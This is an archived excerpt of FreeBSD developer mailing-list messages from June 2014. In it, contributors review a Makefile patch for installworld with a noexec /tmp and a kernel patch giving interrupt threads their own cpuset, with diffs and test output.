In-Reply-To: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.38 X-Mailman-Approved-At: Tue, 10 Jun 2014 11:29:06 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 10 Jun 2014 08:49:55 -0000 Hi Am 10.06.2014 01:01, schrieb Bryan Drewery: > I've always had my /tmp mounted as noexec. Despite how useless this > is, I and many others have had trouble with installworld due to it. > > You can see how frequent it occurs here: > https://www.google.com/#q=freebsd+installworld+noexec > > A simple workaround, which I only just discovered from PR 58117, is to set > TMPDIR > to somewhere that can exec. > > This patch fixes it by using the OBJDIR rather than the assumed /tmp or > TMPDIR. > > The purpose of the installworld code using INSTALLTMP is to use the pre-install > binaries to do the install, rather than the newly built binaries. This is to > ensure > the binaries will run while system is in an inconsistent state with > libraries and > in case the kernel is not yet upgraded. My change adds continues to respect > that by > ensuring it uses the already-installed mkdir(1) and env(1) with full paths. > > http://people.freebsd.org/~bdrewery/patches/installworld-noexec.txt > > --- Makefile.inc1 > +++ Makefile.inc1 > @@ -191,7 +191,9 @@ TMPPATH= ${STRICTTMPPATH}:${PATH} > # when in the middle of installing over this system. > # > .if make(distributeworld) || make(installworld) > -INSTALLTMP!= /usr/bin/mktemp -d -u -t install > +INSTALLTMPDIR= ${OBJTREE}${.CURDIR}/itmp > +INSTALLTMP!= /bin/mkdir -p ${INSTALLTMPDIR} && /usr/bin/env \ > + TMPDIR=${INSTALLTMPDIR} /usr/bin/mktemp -d -u -t install > .endif > > # > @@ -833,7 +835,7 @@ distributeworld installworld: _installcheck_world > LOCAL_MTREE=${LOCAL_MTREE:Q} distrib-dirs > .endif > ${_+_}cd ${.CURDIR}; ${IMAKE} re${.TARGET:S/world$//}; \ > - ${IMAKEENV} rm -rf ${INSTALLTMP} > + ${IMAKEENV} rm -rf ${INSTALLTMPDIR} > .if make(distributeworld) > .for dist in ${EXTRA_DISTRIBUTIONS} > find ${DESTDIR}/${DISTDIR}/${dist} -mindepth 1 -empty -delete > > The only downside I see is that failures can leave the stale tmpdir in > the OBJDIR, which is why I remove the entire "itmp" dir once installworld > finally does succeed. > Would this not break installing from an "RO" mounted OBJDIR? We build everything on one machine an install on many machines by nfsmounting /usr/src/, /usr/doc, /usr/obj. All of them are mounted "RO" to prevent changes during install. BW Matthias -- Matthias Meyser | XeNET GmbH Tel.: +49-5323-9489050 | 38678 Clausthal-Zellerfeld, Marktstrasse 40 Fax: +49-5323-9489059 | Registergericht: Amtsgericht Braunschweig HRB 110823 Email: Meyser@xenet.de | Geschaeftsfuehrer: Matthias Meyser From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 11 16:54:05 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EEF35963; Wed, 11 Jun 2014 16:54:05 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7F16B2C64; Wed, 11 Jun 2014 16:54:05 +0000 (UTC) Received: from [2a02:6b8:0:401:222:4dff:fe50:cd2f] (helo=ptichko.yndx.net) by mail.ipfw.ru with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128) (Exim 4.82 (FreeBSD)) (envelope-from ) id 1Wuhre-000Opg-5C; Wed, 11 Jun 2014 16:42:50 +0400 Message-ID: <53988933.5010902@FreeBSD.org> Date: Wed, 11 Jun 2014 20:52:03 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: John Baldwin Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <5390DB64.6010704@FreeBSD.org> <53923C09.6020302@FreeBSD.org> <201406091343.39584.jhb@freebsd.org> In-Reply-To: <201406091343.39584.jhb@freebsd.org> Content-Type: multipart/mixed; boundary="------------030603020702090205010604" Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Jun 2014 16:54:06 -0000 This is a multi-part message in MIME format. --------------030603020702090205010604 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit On 09.06.2014 21:43, John Baldwin wrote: > On Friday, June 06, 2014 6:09:13 pm Alexander V. Chernikov wrote: >> On 06.06.2014 01:04, Alexander V. Chernikov wrote: >>> On 05.06.2014 23:59, John Baldwin wrote: >>>> On Thursday, June 05, 2014 3:46:15 pm Alexander V. Chernikov wrote: >>>>> On 05.06.2014 18:09, John Baldwin wrote: >>>>>> On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov wrote: >>>>>>> On 04.06.2014 19:06, John Baldwin wrote: >>>>>>>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >>>>>>>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: >>>>>>>>>> Hello list! >>>>>>>>>> >>>>>>>>>> Currently init(8) uses group 1 which is root group. >>>>>>>>>> Modifications of this group affects both kernel and userland threads. >>>>>>>>>> Additionally, such modifications are impossible, for example, in >>>>>> presence >>>>>>>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds their >>>> threads >>>>>>>> to >>>>>>>>>> particular cpus. >>>>>>>>>> >>>>>>>>>> Proposed change ("init_cpuset" loader tunable) permits changing cpu >>>>>>>>>> masks for >>>>>>>>>> userland more easily. Restricting user processes to migrate to/from >>>> CPU >>>>>>>>>> cores >>>>>>>>>> used for network traffic processing is one of the cases. >>>>>>>>>> >>>>>>>>>> Phabricator: https://phabric.freebsd.org/D141 (the same version >>>> attached >>>>>>>>>> inline) >>>>>>>>>> >>>>>>>>>> If there are no objections, I'll commit this next week. >>>>>>>>> Why is the tunable needed ? >>>>>>>> Because some people already depend on doing 'cpuset -l 0 -s 1'. It is >>>>>> also >>>>>>>> documented in our manpages that processes start in cpuset 1 by default >>>> so >>>>>>>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. >>>>>>>> >>>>>>>> For the stated problem (bound ithreads in drivers), I would actually >>>> like >>>>>> to >>>>>>>> fix ithreads that are bound to a specific CPU to create a different >>>> cpuset >>>>>>>> instead so they don't conflict with set 1. >>>>>>> Yes, this seem to be much better approach. >>>>>>> Please take a look on the new patch (here or in the phabricator). >>>>>>> Comments: >>>>>>> >>>>>>> Use different approach for modifyable root set: >>>>>>> >>>>>>> * Make sets in 0..15 internal >>>>>>> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range >>>>>>> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id >>>>>>> * Create additional root set for ithreads >>>>>>> * Use this set in ithread_create() >>>>>>> * Change intr_setaffinity() to use cpuset_iroot (do we really need >>>> this)? >>>>>>> We can probably do the same for kprocs, but I'm unsure if we really need >>>> it. >>>>>> I imagined something a bit simpler. Just create a new set in >>>> intr_event_bind >>>>>> and bind the ithread to the new set. No need to have more magic set ids, >>>> etc. >>>>> Well, we also have userland which can modify given changes via `cpuset >>>>> -x', so we need to be able to add some more logic on set >>>>> allocation/keeping. Additionally, we can try to do the same via `cpuset >>>>> -t', so introducing something like cpuset_setIthread() and hooking into >>>>> intr_event_bind() won't probably be enough. At least I can't think out a >>>>> quick and easy way to do this. >>>> cpuset -x calls intr_event_bind(). If you just do it there you fix both >>>> places. >> Yup. I was wrong. This version seems to be simpler while doing the right >> thing. > Hmm, I do think this patch is doing the right thing, but I'm worried you > might have weird effects, e.g. I worry that because the 'intr' proc is in > set 1 still, the thread masks will be (incorrectly) checked when changing Well, as far as I understand we don't have any cpu sets bound to program ("pid" search returns set of first thread). Anyway, each original ithread mask is released via cpuset_rel() so I'm a bit unsure about remaining thread masks. Playing with cpuset and ixgbe driver, does not reveal given problem: 12:59 [0] test15# cpuset -g -s 1 cpuset 1 mask: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23 13:00 [0] test15# kldload ixgbe 13:00 [0] test15# vmstat -i | grep ix irq263: ix0:que 0 116 0 irq264: ix0:que 1 108 0 irq265: ix0:que 2 108 0 irq266: ix0:que 3 108 0 irq267: ix0:que 4 108 0 irq268: ix0:que 5 108 0 irq269: ix0:que 6 108 0 irq270: ix0:que 7 108 0 ... 13:00 [0] test15# cpuset -g -x 263 irq 263 mask: 0 13:00 [0] test15# cpuset -g -x 264 irq 264 mask: 1 13:00 [0] test15# cpuset -l 21,22,23 -s 1 13:01 [0] test15# cpuset -g -s 1 cpuset 1 mask: 21, 22, 23 13:01 [0] test15# cpuset -g -x 263 irq 263 mask: 0 13:01 [0] test15# cpuset -g -x 264 irq 264 mask: 1 13:01 [0] test15# cpuset -l 12 -x 264 13:01 [0] test15# cpuset -g -x 264 irq 264 mask: 12 13:01 [0] test15# cpuset -l 22,23 -s 1 13:01 [0] test15# echo $? 0 13:01 [0] test15# cpuset -g -x 264 irq 264 mask: 12 13:01 [0] test15# cpuset -g -s 1 cpuset 1 mask: 22, 23 > set 1 and you still won't be able to 'cpuset -l 0 -s 1'. > > Also, strictly speaking, it would probably be best to return threads to > set 1 when NOCPU is passed to intr_event_bind() to unbind an interrupt. Yup. > --------------030603020702090205010604 Content-Type: text/x-patch; name="D141_7.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="D141_7.diff" Index: sys/kern/kern_cpuset.c =================================================================== --- sys/kern/kern_cpuset.c +++ sys/kern/kern_cpuset.c @@ -106,7 +106,7 @@ static struct mtx cpuset_lock; static struct setlist cpuset_ids; static struct unrhdr *cpuset_unr; -static struct cpuset *cpuset_zero; +static struct cpuset *cpuset_zero, *cpuset_default; /* Return the size of cpuset_t at the kernel level */ SYSCTL_INT(_kern_sched, OID_AUTO, cpusetsize, CTLFLAG_RD, @@ -716,6 +716,89 @@ } /* + * Apply new cpumask to the ithread. + */ +int +cpuset_setithread(lwpid_t id, u_char cpu) +{ + struct cpuset *nset, *rset; + struct cpuset *parent, *old_set; + struct thread *td; + struct proc *p; + cpusetid_t cs_id; + cpuset_t mask; + int error; + + nset = uma_zalloc(cpuset_zone, M_WAITOK); + rset = uma_zalloc(cpuset_zone, M_WAITOK); + + CPU_ZERO(&mask); + if (cpu == NOCPU) + CPU_COPY(cpuset_root, &mask); + else + CPU_SET(cpu, &mask); + + error = cpuset_which(CPU_WHICH_TID, id, &p, &td, &old_set); + if (((cs_id = alloc_unr(cpuset_unr)) == CPUSET_INVALID) || error != 0) + goto out; + + thread_lock(td); + old_set = td->td_cpuset; + + if (cpu == NOCPU) { + /* + * roll back to default set. We're not using cpuset_shadow() + * here because we can fail CPU_SUBSET() check. This can happen + * if default set does not contain all CPUs. + */ + error = _cpuset_create(nset, cpuset_default, &mask, + CPUSET_INVALID); + + goto applyset; + } + + if (old_set->cs_id == 1 || (old_set->cs_id == CPUSET_INVALID && + old_set->cs_parent->cs_id == 1)) { + /* Default mask, we need to use new root set */ + error = _cpuset_create(rset, cpuset_zero, + &cpuset_zero->cs_mask, cs_id); + if (error != 0) { + PROC_UNLOCK(p); + goto out; + } + rset->cs_flags |= CPU_SET_ROOT; + parent = rset; + rset = NULL; + cs_id = CPUSET_INVALID; + } else { + /* Assume existing set was already allocated by previous call */ + parent = td->td_cpuset; + old_set = NULL; + } + + error = cpuset_shadow(parent, nset, &mask); +applyset: + if (error == 0) { + td->td_cpuset = nset; + sched_affinity(td); + nset = NULL; + } + thread_unlock(td); + PROC_UNLOCK(p); + if (old_set != NULL) + cpuset_rel(old_set); +out: + if (nset != NULL) + uma_zfree(cpuset_zone, nset); + if (rset != NULL) + uma_zfree(cpuset_zone, rset); + if (cs_id != CPUSET_INVALID) + free_unr(cpuset_unr, cs_id); + return (error); +} + + +/* * Creates the cpuset for thread0. We make two sets: * * 0 - The root set which should represent all valid processors in the @@ -735,6 +818,7 @@ cpuset_zone = uma_zcreate("cpuset", sizeof(struct cpuset), NULL, NULL, NULL, NULL, UMA_ALIGN_PTR, 0); mtx_init(&cpuset_lock, "cpuset", NULL, MTX_SPIN | MTX_RECURSE); + /* * Create the root system set for the whole machine. Doesn't use * cpuset_create() due to NULL parent. @@ -747,12 +831,15 @@ set->cs_flags = CPU_SET_ROOT; cpuset_zero = set; cpuset_root = &set->cs_mask; + /* * Now derive a default, modifiable set from that to give out. */ set = uma_zalloc(cpuset_zone, M_WAITOK); error = _cpuset_create(set, cpuset_zero, &cpuset_zero->cs_mask, 1); KASSERT(error == 0, ("Error creating default set: %d\n", error)); + cpuset_default = set; + /* * Initialize the unit allocator. 0 and 1 are allocated above. */ Index: sys/kern/kern_intr.c =================================================================== --- sys/kern/kern_intr.c +++ sys/kern/kern_intr.c @@ -295,7 +295,6 @@ int intr_event_bind(struct intr_event *ie, u_char cpu) { - cpuset_t mask; lwpid_t id; int error; @@ -316,30 +315,21 @@ */ mtx_lock(&ie->ie_lock); if (ie->ie_thread != NULL) { - CPU_ZERO(&mask); - if (cpu == NOCPU) - CPU_COPY(cpuset_root, &mask); - else - CPU_SET(cpu, &mask); id = ie->ie_thread->it_thread->td_tid; mtx_unlock(&ie->ie_lock); - error = cpuset_setthread(id, &mask); + error = cpuset_setithread(id, cpu); if (error) return (error); } else mtx_unlock(&ie->ie_lock); error = ie->ie_assign_cpu(ie->ie_source, cpu); if (error) { mtx_lock(&ie->ie_lock); if (ie->ie_thread != NULL) { - CPU_ZERO(&mask); - if (ie->ie_cpu == NOCPU) - CPU_COPY(cpuset_root, &mask); - else - CPU_SET(ie->ie_cpu, &mask); + cpu = ie->ie_cpu; id = ie->ie_thread->it_thread->td_tid; mtx_unlock(&ie->ie_lock); - (void)cpuset_setthread(id, &mask); + (void)cpuset_setithread(id, cpu); } else mtx_unlock(&ie->ie_lock); return (error); Index: sys/sys/cpuset.h =================================================================== --- sys/sys/cpuset.h +++ sys/sys/cpuset.h @@ -118,6 +118,7 @@ struct cpuset *cpuset_ref(struct cpuset *); void cpuset_rel(struct cpuset *); int cpuset_setthread(lwpid_t id, cpuset_t *); +int cpuset_setithread(lwpid_t id, u_char cpu); int cpuset_create_root(struct prison *, struct cpuset **); int cpuset_setproc_update_set(struct proc *, struct cpuset *); char *cpusetobj_strprint(char *, const cpuset_t *); --------------030603020702090205010604-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 11 19:10:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B8E47DF for ; Wed, 11 Jun 2014 19:10:34 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 99DB52A2B for ; Wed, 11 Jun 2014 19:10:34 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s5BJAYlk070210 for ; Wed, 11 Jun 2014 19:10:34 GMT (envelope-from bdrewery@freefall.freebsd.org) Received: (from bdrewery@localhost) by freefall.freebsd.org (8.14.9/8.14.9/Submit) id s5BJAYJ5070209 for freebsd-hackers@freebsd.org; Wed, 11 Jun 2014 19:10:34 GMT (envelope-from bdrewery) Received: (qmail 35105 invoked from network); 11 Jun 2014 14:10:32 -0500 Received: from unknown (HELO roundcube.xk42.net) (10.10.5.5) by sweb.xzibition.com with SMTP; 11 Jun 2014 14:10:32 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Wed, 11 Jun 2014 14:10:32 -0500 From: Bryan Drewery To: freebsd-hackers@freebsd.org Subject: Re: [RFC] Fixed installworld with noexec /tmp Organization: FreeBSD In-Reply-To: <5396C6A3.6050004@xenet.de> References: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> <5396C6A3.6050004@xenet.de> Message-ID: X-Sender: bdrewery@FreeBSD.org User-Agent: Roundcube Webmail/0.9.5 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Jun 2014 19:10:34 -0000 On 2014-06-10 03:49, Matthias Meyser wrote: > Hi > > Am 10.06.2014 01:01, schrieb Bryan Drewery: >> I've always had my /tmp mounted as noexec. Despite how useless this >> is, I and many others have had trouble with installworld due to it. >> >> You can see how frequent it occurs here: >> https://www.google.com/#q=freebsd+installworld+noexec >> >> A simple workaround, which I only just discovered from PR 58117, is to >> set >> TMPDIR >> to somewhere that can exec. >> >> This patch fixes it by using the OBJDIR rather than the assumed /tmp >> or >> TMPDIR. >> >> The purpose of the installworld code using INSTALLTMP is to use the >> pre-install >> binaries to do the install, rather than the newly built binaries. This >> is to >> ensure >> the binaries will run while system is in an inconsistent state with >> libraries and >> in case the kernel is not yet upgraded. My change adds continues to >> respect >> that by >> ensuring it uses the already-installed mkdir(1) and env(1) with full >> paths. >> >> http://people.freebsd.org/~bdrewery/patches/installworld-noexec.txt >> >> --- Makefile.inc1 >> +++ Makefile.inc1 >> @@ -191,7 +191,9 @@ TMPPATH= ${STRICTTMPPATH}:${PATH} >> # when in the middle of installing over this system. >> # >> .if make(distributeworld) || make(installworld) >> -INSTALLTMP!= /usr/bin/mktemp -d -u -t install >> +INSTALLTMPDIR= ${OBJTREE}${.CURDIR}/itmp >> +INSTALLTMP!= /bin/mkdir -p ${INSTALLTMPDIR} && /usr/bin/env \ >> + TMPDIR=${INSTALLTMPDIR} /usr/bin/mktemp -d -u -t install >> .endif >> >> # >> @@ -833,7 +835,7 @@ distributeworld installworld: _installcheck_world >> LOCAL_MTREE=${LOCAL_MTREE:Q} distrib-dirs >> .endif >> ${_+_}cd ${.CURDIR}; ${IMAKE} re${.TARGET:S/world$//}; \ >> - ${IMAKEENV} rm -rf ${INSTALLTMP} >> + ${IMAKEENV} rm -rf ${INSTALLTMPDIR} >> .if make(distributeworld) >> .for dist in ${EXTRA_DISTRIBUTIONS} >> find ${DESTDIR}/${DISTDIR}/${dist} -mindepth 1 -empty -delete >> >> The only downside I see is that failures can leave the stale tmpdir in >> the OBJDIR, which is why I remove the entire "itmp" dir once >> installworld >> finally does succeed. >> > > Would this not break installing from an "RO" mounted OBJDIR? > > We build everything on one machine an install on many machines > by nfsmounting /usr/src/, /usr/doc, /usr/obj. > All of them are mounted "RO" to prevent changes during install. > > BW > Matthias Yes. I'll think about this some more. -- Regards, Bryan Drewery From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 12 03:58:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 70925A16; Thu, 12 Jun 2014 03:58:13 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 3025F2A64; Thu, 12 Jun 2014 03:58:12 +0000 (UTC) Received: from jre-mbp.elischer.org (etroy.elischer.org [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s5C3vxmU046483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Wed, 11 Jun 2014 20:58:02 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53992542.3080908@freebsd.org> Date: Thu, 12 Jun 2014 11:57:54 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: "Alexander V. Chernikov" , John Baldwin Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <5390DB64.6010704@FreeBSD.org> <53923C09.6020302@FreeBSD.org> <201406091343.39584.jhb@freebsd.org> <53988933.5010902@FreeBSD.org> In-Reply-To: <53988933.5010902@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Jun 2014 03:58:13 -0000 On 6/12/14, 12:52 AM, Alexander V. Chernikov wrote: > On 09.06.2014 21:43, John Baldwin wrote: >> On Friday, June 06, 2014 6:09:13 pm Alexander V. Chernikov wrote: >>> On 06.06.2014 01:04, Alexander V. Chernikov wrote: >>>> On 05.06.2014 23:59, John Baldwin wrote: >>>>> On Thursday, June 05, 2014 3:46:15 pm Alexander V. Chernikov wrote: >>>>>> On 05.06.2014 18:09, John Baldwin wrote: >>>>>>> On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov >>>>>>> wrote: >>>>>>>> On 04.06.2014 19:06, John Baldwin wrote: >>>>>>>>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >>>>>>>>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. >>>>>>>>>> Chernikov wrote: >>>>>>>>>>> Hello list! >>>>>>>>>>> >>>>>>>>>>> Currently init(8) uses group 1 which is root group. >>>>>>>>>>> Modifications of this group affects both kernel and >>>>>>>>>>> userland threads. >>>>>>>>>>> Additionally, such modifications are impossible, for >>>>>>>>>>> example, in >>>>>>> presence >>>>>>>>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds >>>>>>>>>>> their >>>>> threads >>>>>>>>> to >>>>>>>>>>> particular cpus. >>>>>>>>>>> >>>>>>>>>>> Proposed change ("init_cpuset" loader tunable) permits >>>>>>>>>>> changing cpu >>>>>>>>>>> masks for >>>>>>>>>>> userland more easily. Restricting user processes to >>>>>>>>>>> migrate to/from >>>>> CPU >>>>>>>>>>> cores >>>>>>>>>>> used for network traffic processing is one of the cases. >>>>>>>>>>> >>>>>>>>>>> Phabricator: https://phabric.freebsd.org/D141 (the same >>>>>>>>>>> version >>>>> attached >>>>>>>>>>> inline) >>>>>>>>>>> >>>>>>>>>>> If there are no objections, I'll commit this next week. >>>>>>>>>> Why is the tunable needed ? >>>>>>>>> Because some people already depend on doing 'cpuset -l 0 -s >>>>>>>>> 1'. It is >>>>>>> also >>>>>>>>> documented in our manpages that processes start in cpuset 1 >>>>>>>>> by default >>>>> so >>>>>>>>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. >>>>>>>>> >>>>>>>>> For the stated problem (bound ithreads in drivers), I would >>>>>>>>> actually >>>>> like >>>>>>> to >>>>>>>>> fix ithreads that are bound to a specific CPU to create a >>>>>>>>> different >>>>> cpuset >>>>>>>>> instead so they don't conflict with set 1. >>>>>>>> Yes, this seem to be much better approach. >>>>>>>> Please take a look on the new patch (here or in the >>>>>>>> phabricator). >>>>>>>> Comments: >>>>>>>> >>>>>>>> Use different approach for modifyable root set: >>>>>>>> >>>>>>>> * Make sets in 0..15 internal >>>>>>>> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range >>>>>>>> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id >>>>>>>> * Create additional root set for ithreads >>>>>>>> * Use this set in ithread_create() >>>>>>>> * Change intr_setaffinity() to use cpuset_iroot (do we >>>>>>>> really need >>>>> this)? >>>>>>>> We can probably do the same for kprocs, but I'm unsure if we >>>>>>>> really need >>>>> it. >>>>>>> I imagined something a bit simpler. Just create a new set in >>>>> intr_event_bind >>>>>>> and bind the ithread to the new set. No need to have more >>>>>>> magic set ids, >>>>> etc. >>>>>> Well, we also have userland which can modify given changes via >>>>>> `cpuset >>>>>> -x', so we need to be able to add some more logic on set >>>>>> allocation/keeping. Additionally, we can try to do the same via >>>>>> `cpuset >>>>>> -t', so introducing something like cpuset_setIthread() and >>>>>> hooking into >>>>>> intr_event_bind() won't probably be enough. At least I can't >>>>>> think out a >>>>>> quick and easy way to do this. >>>>> cpuset -x calls intr_event_bind(). If you just do it there you >>>>> fix both >>>>> places. >>> Yup. I was wrong. This version seems to be simpler while doing the >>> right >>> thing. >> Hmm, I do think this patch is doing the right thing, but I'm >> worried you >> might have weird effects, e.g. I worry that because the 'intr' proc >> is in >> set 1 still, the thread masks will be (incorrectly) checked when >> changing > Well, as far as I understand we don't have any cpu sets bound to > program ("pid" search returns set of first thread). > Anyway, each original ithread mask is released via cpuset_rel() so > I'm a bit unsure about remaining thread masks. > Playing with cpuset and ixgbe driver, does not reveal given problem: > > 12:59 [0] test15# cpuset -g -s 1 > cpuset 1 mask: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, > 16, 17, 18, 19, 20, 21, 22, 23 > 13:00 [0] test15# kldload ixgbe > 13:00 [0] test15# vmstat -i | grep ix > irq263: ix0:que 0 116 0 > irq264: ix0:que 1 108 0 > irq265: ix0:que 2 108 0 > irq266: ix0:que 3 108 0 > irq267: ix0:que 4 108 0 > irq268: ix0:que 5 108 0 > irq269: ix0:que 6 108 0 > irq270: ix0:que 7 108 0 > ... > 13:00 [0] test15# cpuset -g -x 263 > irq 263 mask: 0 > 13:00 [0] test15# cpuset -g -x 264 > irq 264 mask: 1 > 13:00 [0] test15# cpuset -l 21,22,23 -s 1 > 13:01 [0] test15# cpuset -g -s 1 > cpuset 1 mask: 21, 22, 23 > 13:01 [0] test15# cpuset -g -x 263 > irq 263 mask: 0 > 13:01 [0] test15# cpuset -g -x 264 > irq 264 mask: 1 > 13:01 [0] test15# cpuset -l 12 -x 264 > 13:01 [0] test15# cpuset -g -x 264 > irq 264 mask: 12 > 13:01 [0] test15# cpuset -l 22,23 -s 1 > 13:01 [0] test15# echo $? > 0 > 13:01 [0] test15# cpuset -g -x 264 > irq 264 mask: 12 > 13:01 [0] test15# cpuset -g -s 1 > cpuset 1 mask: 22, 23 > > >> set 1 and you still won't be able to 'cpuset -l 0 -s 1'. >> >> Also, strictly speaking, it would probably be best to return >> threads to >> set 1 when NOCPU is passed to intr_event_bind() to unbind an >> interrupt. > Yup. in a quick look I didn't see anywhere that checked if the old set and new set are the same set.. > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 12 09:25:33 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5A80589F; Thu, 12 Jun 2014 09:25:33 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CF3EB23A6; Thu, 12 Jun 2014 09:25:32 +0000 (UTC) Received: from [2a02:6b8:0:401:222:4dff:fe50:cd2f] (helo=ptichko.yndx.net) by mail.ipfw.ru with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128) (Exim 4.82 (FreeBSD)) (envelope-from ) id 1WuxL4-000A0Y-CE; Thu, 12 Jun 2014 09:14:14 +0400 Message-ID: <5399718F.9090700@FreeBSD.org> Date: Thu, 12 Jun 2014 13:23:27 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Julian Elischer , John Baldwin Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <5390DB64.6010704@FreeBSD.org> <53923C09.6020302@FreeBSD.org> <201406091343.39584.jhb@freebsd.org> <53988933.5010902@FreeBSD.org> <53992542.3080908@freebsd.org> In-Reply-To: <53992542.3080908@freebsd.org> Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: 